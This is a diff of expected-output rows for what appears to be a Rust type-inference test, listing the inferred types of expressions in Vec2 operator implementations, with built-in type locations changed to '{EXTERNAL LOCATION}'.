main.rs:1369:23:1369:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1375:19:1375:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1375:25:1375:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1375:44:1380:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1376:13:1379:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1377:20:1377:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:20:1377:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1377:20:1377:33 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1377:20:1377:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1377:20:1377:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1377:29:1377:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1377:29:1377:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1377:29:1377:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1378:20:1378:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1378:20:1378:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1378:20:1378:33 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1378:20:1378:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1378:20:1378:33 | ... & ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1378:29:1378:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1378:29:1378:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1378:29:1378:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1384:26:1384:34 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1384:26:1384:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1384:37:1384:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1385:13:1385:16 | self | | file://:0:0:0:0 | & | | main.rs:1385:13:1385:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:13:1385:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1385:13:1385:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1385:13:1385:27 | ... &= ... | | file://:0:0:0:0 | () | | main.rs:1385:23:1385:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1385:23:1385:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1385:23:1385:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1386:13:1386:16 | self | | file://:0:0:0:0 | & | | main.rs:1386:13:1386:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1386:13:1386:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1386:13:1386:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1386:13:1386:27 | ... &= ... | | file://:0:0:0:0 | () | | main.rs:1386:23:1386:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1386:23:1386:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1386:23:1386:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1392:18:1392:21 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1392:24:1392:26 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1392:43:1397:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1393:13:1396:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1394:20:1394:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:20:1394:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1394:20:1394:33 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1394:20:1394:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1394:20:1394:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1394:29:1394:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1394:29:1394:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1394:29:1394:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1395:20:1395:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1395:20:1395:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1395:20:1395:33 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1395:20:1395:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1395:20:1395:33 | ... \| ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1395:29:1395:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1395:29:1395:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1395:29:1395:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1401:25:1401:33 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1401:25:1401:33 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1401:36:1401:38 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1402:13:1402:16 | self | | file://:0:0:0:0 | & | | main.rs:1402:13:1402:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:13:1402:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1402:13:1402:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1402:13:1402:27 | ... \|= ... | | file://:0:0:0:0 | () | | main.rs:1402:23:1402:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1402:23:1402:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1402:23:1402:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1403:13:1403:16 | self | | file://:0:0:0:0 | & | | main.rs:1403:13:1403:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1403:13:1403:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1403:13:1403:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1403:13:1403:27 | ... \|= ... | | file://:0:0:0:0 | () | | main.rs:1403:23:1403:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1403:23:1403:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1403:23:1403:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1409:19:1409:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1409:25:1409:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1409:44:1414:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1410:13:1413:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1411:20:1411:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:20:1411:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1411:20:1411:33 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1411:20:1411:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1411:20:1411:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1411:29:1411:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1411:29:1411:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1411:29:1411:33 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1412:20:1412:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1412:20:1412:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1412:20:1412:33 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1412:20:1412:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1412:20:1412:33 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1412:29:1412:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1412:29:1412:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1412:29:1412:33 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1418:26:1418:34 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1418:26:1418:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1418:37:1418:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1419:13:1419:16 | self | | file://:0:0:0:0 | & | | main.rs:1419:13:1419:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:13:1419:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1419:13:1419:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1419:13:1419:27 | ... ^= ... | | file://:0:0:0:0 | () | | main.rs:1419:23:1419:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1419:23:1419:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1419:23:1419:27 | rhs.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1420:13:1420:16 | self | | file://:0:0:0:0 | & | | main.rs:1420:13:1420:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1420:13:1420:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1420:13:1420:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1420:13:1420:27 | ... ^= ... | | file://:0:0:0:0 | () | | main.rs:1420:23:1420:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1420:23:1420:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1420:23:1420:27 | rhs.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1426:16:1426:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1426:22:1426:24 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1426:22:1426:24 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1426:40:1431:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1427:13:1430:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1428:20:1428:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1428:20:1428:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1428:20:1428:32 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1428:30:1428:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1428:20:1428:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1428:20:1428:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1428:30:1428:32 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1429:20:1429:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1429:20:1429:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1429:20:1429:32 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1429:30:1429:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1429:20:1429:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1429:20:1429:32 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1429:30:1429:32 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1435:23:1435:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1435:23:1435:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1435:34:1435:36 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1435:34:1435:36 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1436:13:1436:16 | self | | file://:0:0:0:0 | & | | main.rs:1436:13:1436:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1436:13:1436:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1436:13:1436:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1436:13:1436:26 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1436:24:1436:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1436:24:1436:26 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1437:13:1437:16 | self | | file://:0:0:0:0 | & | | main.rs:1437:13:1437:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1437:13:1437:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1437:13:1437:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1437:13:1437:26 | ... <<= ... | | file://:0:0:0:0 | () | -| main.rs:1437:24:1437:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1437:24:1437:26 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1443:16:1443:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1443:22:1443:24 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1443:22:1443:24 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1443:40:1448:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1444:13:1447:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1445:20:1445:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1445:20:1445:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1445:20:1445:32 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1445:30:1445:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1445:20:1445:25 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1445:20:1445:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1445:30:1445:32 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1446:20:1446:23 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1446:20:1446:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1446:20:1446:32 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1446:30:1446:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1446:20:1446:25 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1446:20:1446:32 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1446:30:1446:32 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1452:23:1452:31 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1452:23:1452:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1452:34:1452:36 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1452:34:1452:36 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1453:13:1453:16 | self | | file://:0:0:0:0 | & | | main.rs:1453:13:1453:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1453:13:1453:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1453:13:1453:18 | self.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1453:13:1453:26 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1453:24:1453:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1453:24:1453:26 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1454:13:1454:16 | self | | file://:0:0:0:0 | & | | main.rs:1454:13:1454:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1454:13:1454:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1454:13:1454:18 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1454:13:1454:26 | ... >>= ... | | file://:0:0:0:0 | () | -| main.rs:1454:24:1454:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1454:24:1454:26 | rhs | | {EXTERNAL LOCATION} | u32 | | main.rs:1460:16:1460:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1460:30:1465:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1461:13:1464:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1462:20:1462:26 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1462:20:1462:26 | - ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1462:21:1462:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1462:21:1462:26 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1463:20:1463:26 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1462:21:1462:26 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1463:20:1463:26 | - ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1463:21:1463:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1463:21:1463:26 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1463:21:1463:26 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1470:16:1470:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1470:30:1475:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1471:13:1474:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1472:20:1472:26 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1472:20:1472:26 | ! ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1472:21:1472:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1472:21:1472:26 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1473:20:1473:26 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1472:21:1472:26 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1473:20:1473:26 | ! ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1473:21:1473:24 | self | | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1473:21:1473:26 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1473:21:1473:26 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1479:15:1479:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1479:15:1479:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1479:22:1479:26 | other | | file://:0:0:0:0 | & | | main.rs:1479:22:1479:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1479:44:1481:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1479:44:1481:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1480:13:1480:16 | self | | file://:0:0:0:0 | & | | main.rs:1480:13:1480:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:13:1480:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1480:13:1480:29 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1480:13:1480:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1480:13:1480:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1480:13:1480:29 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1480:13:1480:50 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1480:23:1480:27 | other | | file://:0:0:0:0 | & | | main.rs:1480:23:1480:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:23:1480:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1480:23:1480:29 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1480:34:1480:37 | self | | file://:0:0:0:0 | & | | main.rs:1480:34:1480:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:34:1480:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1480:34:1480:50 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1480:34:1480:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1480:34:1480:50 | ... == ... | | {EXTERNAL LOCATION} | bool | | main.rs:1480:44:1480:48 | other | | file://:0:0:0:0 | & | | main.rs:1480:44:1480:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1480:44:1480:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1480:44:1480:50 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1483:15:1483:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1483:15:1483:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1483:22:1483:26 | other | | file://:0:0:0:0 | & | | main.rs:1483:22:1483:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1483:44:1485:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1483:44:1485:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1484:13:1484:16 | self | | file://:0:0:0:0 | & | | main.rs:1484:13:1484:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:13:1484:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1484:13:1484:29 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1484:13:1484:50 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1484:13:1484:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1484:13:1484:29 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1484:13:1484:50 | ... \|\| ... | | {EXTERNAL LOCATION} | bool | | main.rs:1484:23:1484:27 | other | | file://:0:0:0:0 | & | | main.rs:1484:23:1484:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:23:1484:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1484:23:1484:29 | other.x | | {EXTERNAL LOCATION} | i64 | | main.rs:1484:34:1484:37 | self | | file://:0:0:0:0 | & | | main.rs:1484:34:1484:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:34:1484:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1484:34:1484:50 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1484:34:1484:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1484:34:1484:50 | ... != ... | | {EXTERNAL LOCATION} | bool | | main.rs:1484:44:1484:48 | other | | file://:0:0:0:0 | & | | main.rs:1484:44:1484:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1484:44:1484:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1484:44:1484:50 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1489:24:1489:28 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1489:24:1489:28 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1489:31:1489:35 | other | | file://:0:0:0:0 | & | | main.rs:1489:31:1489:35 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1489:75:1491:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | -| main.rs:1489:75:1491:9 | { ... } | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | -| main.rs:1490:13:1490:29 | (...) | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | -| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | +| main.rs:1489:75:1491:9 | { ... } | | {EXTERNAL LOCATION} | Option | +| main.rs:1489:75:1491:9 | { ... } | T | {EXTERNAL LOCATION} | Ordering | +| main.rs:1490:13:1490:29 | (...) | | {EXTERNAL LOCATION} | i64 | +| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | | {EXTERNAL LOCATION} | Option | +| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | T | {EXTERNAL LOCATION} | Ordering | | main.rs:1490:14:1490:17 | self | | file://:0:0:0:0 | & | | main.rs:1490:14:1490:17 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:14:1490:19 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:14:1490:28 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:14:1490:19 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1490:14:1490:28 | ... + ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1490:23:1490:26 | self | | file://:0:0:0:0 | & | | main.rs:1490:23:1490:26 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:23:1490:28 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:23:1490:28 | self.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1490:43:1490:62 | &... | | file://:0:0:0:0 | & | -| main.rs:1490:43:1490:62 | &... | &T | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:44:1490:62 | (...) | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:43:1490:62 | &... | &T | {EXTERNAL LOCATION} | i64 | +| main.rs:1490:44:1490:62 | (...) | | {EXTERNAL LOCATION} | i64 | | main.rs:1490:45:1490:49 | other | | file://:0:0:0:0 | & | | main.rs:1490:45:1490:49 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:45:1490:51 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1490:45:1490:61 | ... + ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:45:1490:51 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1490:45:1490:61 | ... + ... | | {EXTERNAL LOCATION} | i64 | | main.rs:1490:55:1490:59 | other | | file://:0:0:0:0 | & | | main.rs:1490:55:1490:59 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1490:55:1490:61 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:55:1490:61 | other.y | | {EXTERNAL LOCATION} | i64 | | main.rs:1493:15:1493:19 | SelfParam | | file://:0:0:0:0 | & | | main.rs:1493:15:1493:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | | main.rs:1493:22:1493:26 | other | | file://:0:0:0:0 | & | | main.rs:1493:22:1493:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1493:44:1495:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1493:44:1495:9 | { ... } | | {EXTERNAL LOCATION} | bool | | main.rs:1494:13:1494:16 | self | | file://:0:0:0:0 | & | | main.rs:1494:13:1494:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:13:1494:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | -| main.rs:1494:13:1494:28 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1494:13:1494:48 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1494:13:1494:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1494:13:1494:28 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1494:13:1494:48 | ... && ... | | {EXTERNAL LOCATION} | bool | | main.rs:1494:22:1494:26 | other | | file://:0:0:0:0 | & | | main.rs:1494:22:1494:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | -| main.rs:1494:22:1494:28 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1494:22:1494:28 | 